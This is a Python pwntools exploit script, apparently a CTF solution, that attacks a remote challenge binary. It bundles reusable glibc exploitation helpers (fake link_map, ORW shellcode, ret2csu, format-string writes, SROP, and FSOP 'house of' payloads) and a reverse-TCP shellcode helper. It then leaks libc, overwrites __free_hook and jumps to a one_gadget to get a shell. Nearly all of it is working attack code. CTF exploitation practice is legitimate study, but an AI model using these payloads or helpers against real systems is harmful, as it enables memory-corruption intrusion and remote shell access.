1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283
| from pwn import * from pwncli import gift import ctypes context.terminal = ["tmux","splitw","-h"]
context.log_level = "debug" context.arch = "amd64"
filename = "./pwn" libc_name = "/home/hkbin/Desktop/CTF/tools/glibc-all-in-one-master/libs/2.23-0ubuntu11.3_amd64/libc.so.6" remote_ip = "47.97.96.29" remote_port = "51907"
libc = ELF(libc_name)
mode = 1
s = lambda x: p.send(x) r = lambda x: p.recv(x) ra = lambda: p.recvall() rl = lambda: p.recvline(keepends=True) ru = lambda x: p.recvuntil(x) sl = lambda x: p.sendline(x) sa = lambda x, y: p.sendafter(x, y) sla = lambda x, y: p.sendlineafter(x, y) ia = lambda: p.interactive() c = lambda: p.close()
if mode: p = remote(remote_ip, remote_port) else: p = process(filename)
def bpp(): gdb.attach(p) pause()
def log(x): print("\x1B[36m{}\x1B[0m".format(x))
def fake_Linkmap_payload(fake_linkmap_addr,known_func_ptr,offset): linkmap = p64(offset & (2 ** 64 - 1))
linkmap += p64(0) linkmap += p64(fake_linkmap_addr + 0x18)
linkmap += p64((fake_linkmap_addr + 0x30 - offset) & (2 ** 64 - 1)) linkmap += p64(0x7) linkmap += p64(0)
linkmap += p64(0)
linkmap += p64(0) linkmap += p64(known_func_ptr - 0x8)
linkmap += b'/bin/sh\x00' linkmap = linkmap.ljust(0x68,b'A') linkmap += p64(fake_linkmap_addr) linkmap += p64(fake_linkmap_addr + 0x38) linkmap = linkmap.ljust(0xf8,b'A') linkmap += p64(fake_linkmap_addr + 0x8) return linkmap
def orw_shellcode(): payload=shellcraft.open('./flag') payload+=shellcraft.read(3,'./flag',100) payload+=shellcraft.write(1,'./flag',100) payload=asm(payload) return payload
def csu_gadget(part1, part2, jmp2, arg1 = 0, arg2 = 0, arg3 = 0): payload = p64(part1) payload += p64(0) payload += p64(1) payload += p64(jmp2) payload += p64(arg3) payload += p64(arg2) payload += p64(arg1) payload += p64(part2) payload += b'A' * 56 return payload
def leak(): leak_dat = ru("\x7f")[-6:] return u64(leak_dat.ljust(8, b'\x00'))
def fmlstr(offset1, offset2, chain2, target, prefix): for i in range(8): if (target&0xff) != 0: if i != 0: sa(prefix, "%{}c%{}$hhn".format(((chain2&0xff) + i), offset1).encode() + b'\x00') sleep(0.05) sa(prefix, "%{}c%{}$hhn".format((target&0xff), offset2).encode() + b'\x00') sleep(0.05) target >>= 8 sa(prefix, "%{}c%8$hhn".format((chain2&0xff)).encode() + b'\x00')
def fmlstr2(offset1, offset2, chain2, target, prefix): for i in range(4): if (target&0xffff) != 0: if i != 0: sa(prefix, "%{}c%{}$hhn".format(((chain2&0xff) + i*2), offset1).encode() + b'\x00') sleep(0.05) sa(prefix, "%{}c%{}$hn".format((target&0xffff), offset2).encode() + b'\x00') sleep(0.05) target >>= 16 sa(prefix, "%{}c%8$hhn".format((chain2&0xff)).encode() + b'\x00')
def SROP(rdi, rsp, rip): signframe = SigreturnFrame() signframe.rax = constants.SYS_execve signframe.rdi = rdi signframe.rsi = 0x0 signframe.rdx = 0x0 signframe.rsp = rsp signframe.rip = rip return bytes(signframe)
def FSOP(fake_vtable_addr): from pwncli import IO_FILE_plus_struct fake_IO_FILE = IO_FILE_plus_struct() fake_IO_FILE._mode = 0 fake_IO_FILE._IO_write_ptr = 1 fake_IO_FILE._IO_write_base = 0 fake_IO_FILE.flags = 0x68732f6e69622f fake_IO_FILE.vtable = fake_vtable_addr IO_FILE = bytes(fake_IO_FILE) return IO_FILE
def house_of_pig(_IO_str_jumps, bin_addr, bin_size, system_addr): """ #define _IO_blen(fp) ((fp)->_IO_buf_end - (fp)->_IO_buf_base) char *old_buf = fp->_IO_buf_base; # 需要控制_IO_buf_base size_t old_blen = _IO_blen (fp); size_t new_size = 2 * old_blen + 100; new_buf = malloc (new_size); # 计算好申请出来 memcpy (new_buf, old_buf, old_blen); #覆盖( free (old_buf); """ from pwncli import IO_FILE_plus_struct fake_IO_FILE = IO_FILE_plus_struct() fake_IO_FILE._mode = 0 fake_IO_FILE._IO_write_ptr = 1 fake_IO_FILE._IO_write_base = 0 fake_IO_FILE.vtable = _IO_str_jumps fake_IO_FILE._IO_buf_base = bin_addr fake_IO_FILE._IO_buf_end = bin_addr + int((bin_size - 100) / 2) fake_IO_FILE._IO_save_base = system_addr fake_IO_FILE._IO_backup_base = system_addr return bytes(fake_IO_FILE)
def house_of_apple2(_IO_wfile_jumps, wide_data_entry, wide_data_vtable_entry, RIP): """ 调用流为_IO_wfile_overflow->_IO_wdoallocbuf->_IO_WDOALLOCATE->Your RIP _flags设置为~(2 | 0x8 | 0x800),如果不需要控制rdi,设置为0即可;如果需要获得shell,可设置为 sh;,注意前面有两个空格 """ from pwncli import IO_FILE_plus_struct fake_IO_FILE = IO_FILE_plus_struct() fake_IO_FILE.flags = 0x68732020 fake_IO_FILE._mode = 0 fake_IO_FILE._IO_write_ptr = 1 fake_IO_FILE._IO_write_base = 0 fake_IO_FILE.vtable = _IO_wfile_jumps fake_IO_FILE._wide_data = wide_data_entry fake_IO_FILE._lock = wide_data_entry fake_IO_FILE = bytes(fake_IO_FILE) pad = p64(0) * 28 pad += p64(wide_data_vtable_entry) """_wide_data->_wide_vtable->doallocate设置为地址C用于劫持RIP,即满足(B + 0x68) = C""" payload = p64(RIP)*0x10 return (fake_IO_FILE, pad, payload)
def house_of_banana(fake_addr, l_next, gadget, count): fake_content = p64(0) + p64(0) fake_content += p64(0) + p64(l_next) fake_content += p64(0) + p64(fake_addr) fake_content += p64(0x8) fake_content += p64(0x8) fake_content += p64(0x8) fake_content = fake_content.ljust(0x48, b'\x00') fake_content += p64(fake_addr + 0x58) fake_content += p64(0x8 * count) fake_content += gadget fake_content = fake_content.ljust(0x110, b'\x00') fake_content += p64(fake_addr + 0x40) fake_content += p64(0) + p64(fake_addr + 0x48) fake_content = fake_content.ljust(0x31c, b'\x00') fake_content += p64(0x1c) return fake_content
"""pwncli""" def reverse_tcp(): from pwncli import ShellcodeMall reverse_tcp = ShellcodeMall.amd64.reverse_tcp_connect(ip="127.0.0.1", port=10001) return reverse_tcp
""" from pwncli import CurrentGadgets, gift
gift['elf'] = ELF("./pwn") gift['libc'] = ELF()
CurrentGadgets.set_find_area(find_in_elf=True, find_in_libc=False, do_initial=False)
pop_rdi_ret = CurrentGadgets.pop_rdi_ret()
execve_chain = CurrentGadgets.execve_chain(bin_sh_addr=0x11223344) """
""" from pwncli import LibcBox libc_box = LibcBox() libc_box.add_symbol("system", 0x640) libc_box.add_symbol("puts", 0x810) libc_box.search(download_symbols=False, download_so=False, download_deb=True) # 是否下载到本地 read_offset = libc_box.dump("read") """
""" from pwncli import get_current_one_gadget_from_libc # 获取当前装载的libc的gadget all_ogs = get_current_one_gadget_from_libc() """
pad = b"{}[]{}{[*{" + b'('*0x64 + b'{' + b'}'
sl(pad)
sl("+") rl() sl("1"*0x401) rl() sl("+")
leak_libc = int(rl().decode())
log(hex(leak_libc))
libc_base = leak_libc - (0x7fa05e7c4b98 - 0x7fa05e400000)
log(hex(libc_base))
sl("+") sl("+")
IO_buf_base = libc_base + (0x7f8fd4dc4918 - 0x7f8fd4a00000) s(p64(IO_buf_base))
key = libc_base + (0x7f40dbdc4963 - 0x7f40dba00000) malloc_hook = libc_base + libc.sym['__free_hook']
sl((p64(key)*3 + p64(malloc_hook) + p64(malloc_hook+0x20) + p64(0)*5 + p64(0) + p64(0xffffffffffffffff) + b'\x00'*3))
onegadgets = [0x45226, 0x4527a, 0xf03a4, 0xf1247]
pause() sl(p64(libc_base + onegadgets[1])*4)
ia()
|